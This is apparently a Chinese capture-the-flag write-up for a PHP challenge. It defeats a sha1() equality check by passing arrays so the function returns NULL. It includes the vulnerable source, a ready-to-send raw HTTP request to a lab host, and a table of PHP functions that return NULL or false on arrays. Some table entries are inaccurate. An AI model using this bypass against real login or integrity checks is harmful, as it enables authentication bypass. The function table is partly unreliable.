时效性
2025年8月8日
题目来源
题目描述
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
Write UP
1、sha1碰撞,只要找到一组sha1值相同但是本身不同的字符串进行传参即可getflag
2、利用PHP的特性 sha1 函数在传入数组参数的时候会返回NULL,,也就是说只要传入数组参数,就可以使得sha1值相等
同时可利用hackbar或者bp来实现POST传参的同时GET传参
POST /?uname[]=0&id=margin HTTP/1.1
Host: 117.72.52.127:19947
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
passwd[]=2
总结
返回 NULL 的函数清单(传入数组时)
| 函数 | 行为描述 |
|---|---|
sha1() | 返回 NULL,产生警告:Warning: sha1() expects parameter 1 to be string, array given |
md5() | 返回 NULL,产生警告:Warning: md5() expects parameter 1 to be string, array given |
crc32() | 返回 NULL,产生警告:Warning: crc32() expects parameter 1 to be string, array given |
hash() | 返回 NULL,产生警告:Warning: hash() expects parameter 2 to be string, array given |
crypt() | 返回 NULL,产生警告:Warning: crypt() expects parameter 1 to be string, array given |
strlen() | 返回 NULL,产生警告:Warning: strlen() expects parameter 1 to be string, array given |
strtoupper() | 返回 NULL,产生警告:Warning: strtoupper() expects parameter 1 to be string, array given |
返回 false 的函数(传入数组时)
| 函数 | 行为描述 |
|---|---|
base64_encode() | 返回 false,产生警告:Warning: base64_encode() expects parameter 1 to be string, array given |
json_encode() | 正常处理数组(不在此类漏洞范围内) |
特殊行为函数
| 函数 | 行为描述 |
|---|---|
strcmp() | 传入数组时返回 0(与空字符串比较),但产生警告:Warning: strcmp() expects parameter 1 to be string, array given |
strcasecmp() | 同上,返回 0 |
== / === | 数组与字符串比较:array() == "string" 永远返回 false |